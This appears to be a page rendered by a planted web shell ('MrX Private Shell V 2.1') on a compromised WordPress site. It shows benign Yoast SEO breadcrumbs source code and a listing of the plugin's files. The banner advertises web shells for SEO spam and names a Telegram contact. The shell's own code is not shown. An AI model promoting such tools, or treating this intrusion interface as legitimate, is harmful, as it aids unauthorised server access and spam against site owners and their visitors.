__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Integrations;
use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;
/**
* Adds customizations to the front end for breadcrumbs.
*/
class Breadcrumbs_Integration implements Integration_Interface {
/**
* The breadcrumbs presenter.
*
* @var Breadcrumbs_Presenter
*/
private $presenter;
/**
* The meta tags context memoizer.
*
* @var Meta_Tags_Context_Memoizer
*/
private $context_memoizer;
/**
* Breadcrumbs integration constructor.
*
* @param Helpers_Surface $helpers The helpers.
* @param WPSEO_Replace_Vars $replace_vars The replace vars.
* @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer.
*/
public function __construct(
Helpers_Surface $helpers,
WPSEO_Replace_Vars $replace_vars,
Meta_Tags_Context_Memoizer $context_memoizer
) {
$this->context_memoizer = $context_memoizer;
$this->presenter = new Breadcrumbs_Presenter();
$this->presenter->helpers = $helpers;
$this->presenter->replace_vars = $replace_vars;
}
/**
* Returns the conditionals based in which this loadable should be active.
*
* @return array The array of conditionals.
*/
public static function get_conditionals() {
return [];
}
/**
* Registers the `wpseo_breadcrumb` shortcode.
*
* @codeCoverageIgnore
*
* @return void
*/
public function register_hooks() {
\add_shortcode( 'wpseo_breadcrumb', [ $this, 'render' ] );
}
/**
* Renders the breadcrumbs.
*
* @return string The rendered breadcrumbs.
*/
public function render() {
$context = $this->context_memoizer->for_current_page();
/** This filter is documented in src/integrations/front-end-integration.php */
$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
$this->presenter->presentation = $presentation;
return $this->presenter->present();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0775 |
|
|
| alerts | Folder | 0775 |
|
|
| blocks | Folder | 0775 |
|
|
| front-end | Folder | 0775 |
|
|
| third-party | Folder | 0775 |
|
|
| watchers | Folder | 0775 |
|
|
| abstract-exclude-post-type.php | File | 1.14 KB | 0775 |
|
| academy-integration.php | File | 4.51 KB | 0775 |
|
| breadcrumbs-integration.php | File | 2.02 KB | 0775 |
|
| cleanup-integration.php | File | 9.72 KB | 0775 |
|
| estimated-reading-time.php | File | 1.08 KB | 0775 |
|
| exclude-attachment-post-type.php | File | 810 B | 0775 |
|
| exclude-oembed-cache-post-type.php | File | 822 B | 0775 |
|
| feature-flag-integration.php | File | 2.93 KB | 0775 |
|
| front-end-integration.php | File | 16.5 KB | 0775 |
|
| integration-interface.php | File | 426 B | 0775 |
|
| primary-category.php | File | 1.95 KB | 0775 |
|
| settings-integration.php | File | 32.32 KB | 0775 |
|
| support-integration.php | File | 4.48 KB | 0775 |
|
| uninstall-integration.php | File | 1006 B | 0775 |
|
| xmlrpc.php | File | 1.22 KB | 0775 |
|